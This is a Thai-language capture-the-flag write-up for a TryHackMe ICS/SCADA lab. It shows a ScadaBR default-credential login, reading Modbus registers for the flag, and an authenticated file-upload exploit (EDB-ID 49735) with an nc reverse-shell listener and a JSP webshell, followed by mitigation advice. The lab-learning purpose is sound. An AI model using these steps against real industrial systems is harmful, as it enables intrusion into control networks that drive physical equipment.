Recon
เริ่มจาก nmap ยิงใส่เครื่องเป้าหมาย เจอพอร์ตเปิดตามนี้:

PORT STATE SERVICE22/tcp open ssh80/tcp open http5901/tcp open vnc-18080/tcp open http-proxy
พอร์ต 8080 น่าสนใจ เข้าไปที่ http://10.48.153.2:8080/ เจอหน้า login ของ ScadaBR ซึ่งเป็นซอฟต์แวร์ SCADA แบบ open-source ที่ใช้ monitor ระบบ OT/ICS

ลอง default credential admin:admin — เข้าได้เลย

ดู Data Source — Modbus
พอเข้าไปได้ก็เจอ data point ชื่อ "secret" ที่สถานะเป็น disabled อยู่ ซึ่งเป็นสัญญาณว่าระบบ SCADA ตัวนี้ต่ออยู่กับ PLC ใน network วงใน ผ่าน Modbus TCP พอร์ต 5020
เข้าไปที่ http://10.48.153.2:8080/ScadaBR/data_sources.shtm เปิด data source ขึ้นมา แล้วกด edit เพื่อดู config

data source "secret" ตั้งค่าไว้ที่ host: plc พอร์ต 5020 บน TCP — ยืนยันว่ามี PLC นั่งอยู่ใน network วงใน

อ่านค่าจาก Modbus Holding Register
ในหน้า Modbus read data เปลี่ยน register range จาก Coil status เป็น Holding register ตั้ง offset เป็น 0 จำนวน register เป็น 30 แล้วกด "Read data"

ค่าที่ได้กลับมาเป็น hex:
0 ==> 00541 ==> 00482 ==> 004d3 ==> 007b4 ==> 006d5 ==> 006f6 ==> 00647 ==> 00628 ==> 00759 ==> 007310 ==> 005f11 ==> 006812 ==> 006913 ==> 006414 ==> 007d
โยน hex เข้า CyberChef ใช้ "From Hex" ก็ได้ flag ออกมา:

THM{modbus_hid}
PLC เก็บข้อมูลไว้ใน holding register เป็น ASCII hex ดิบๆ ไม่เข้ารหัส ไม่ปิดบังอะไรเลย ข้อมูลอ่านได้ตรงๆ นั่งอยู่บน industrial controller
มองในมุม Red Team จริง
ใน engagement จริง การได้ shell บนเครื่อง SCADA เท่ากับเปิดประตู pivot เข้า OT network ไปคุยกับ PLC ได้โดยตรง — ส่ง Modbus write ไปพลิก coil หรือเซ็ตค่า register ที่อาจไปสั่ง actuator จริงในโลกจริง
นี่คือรูปแบบการโจมตีแบบเดียวกับ Stuxnet และเหตุการณ์ระบบไฟฟ้าในยูเครน ส่วนที่น่ากลัวไม่ใช่แค่ code execution แต่คือสิ่งที่อยู่ปลายทางอีกฝั่งของ Modbus connection นั่นแหละ
จริงๆ ผมไปหาข้อมูล attack path แบบนี้ตอนทำ Alchemy Pro Lab ของ HackTheBox เลยเอาแนวคิดมาใช้กับข้อนี้ได้ตรงๆ
Exploitation — ScadaBR Arbitrary File Upload (EDB-ID 49735)
ScadaBR 1.0 มีช่องโหว่ Arbitrary File Upload (Authenticated) ที่ขึ้นอยู่บน Exploit-DB อยู่แล้ว และเพราะเรามี credential ที่ใช้ได้อยู่ในมือ การ exploit จึงตรงไปตรงมา

searchsploit scadabr# ScadaBR 1.0 - Arbitrary File Upload (Authenticated) (1)# ScadaBR 1.0 - Arbitrary File Upload (Authenticated) (2)

Terminal 1 — ตั้ง listener:
rlwrap nc -lvnp 4444
Terminal 2 — ยิง exploit:
python 49735_clean.py 10.48.153.2 8080 admin admin 4444

ตัว exploit ทำสามอย่าง:
- login ด้วย admin:admin
- อัปโหลด JSP webshell ไปที่ /ScadaBR/uploads/1.jsp
- เรียก webshell เพื่อเปิด reverse shell
ผลลัพธ์: ได้ shell เป็น tomcat7 บนเครื่อง SCADA
Mitigation
สาเหตุหลักสามข้อที่ทำให้โจมตีสำเร็จ:
Default credentials —
admin:adminควรถูกบังคับให้เปลี่ยนตั้งแต่ login ครั้งแรก ควรมี password policy ที่แข็งแรงและเปิด MFA ถ้าทำได้ ระบบ SCADA ที่ออกอินเทอร์เน็ตแล้วยังใช้ default credential ยังพบได้บ่อยมากอย่างน่าเสียดายMonitoring — ไม่มี alert เวลามี login จาก IP แปลกๆ หรือมีการเข้าถึงข้อมูลผิดปกติ แค่มี SIEM หรือไล่อ่าน log เบื้องต้นก็จับได้แล้ว สำหรับ OT ควรพิจารณาทำ anomaly detection บน Modbus traffic ด้วย
Segmentation — เครื่อง SCADA เข้าถึงได้จากนอก OT network โดยไม่มีการแบ่งวงเลย การแยก OT ออกจาก IT คือ security control พื้นฐานที่สุดของ ICS ระบบ SCADA ไม่ควรออกอินเทอร์เน็ตตรงๆ และควรคุมการเข้าถึงผ่าน jump host หรือ industrial DMZ เท่านั้น
TryHackMe | ICS/SCADA Challenge | munpao59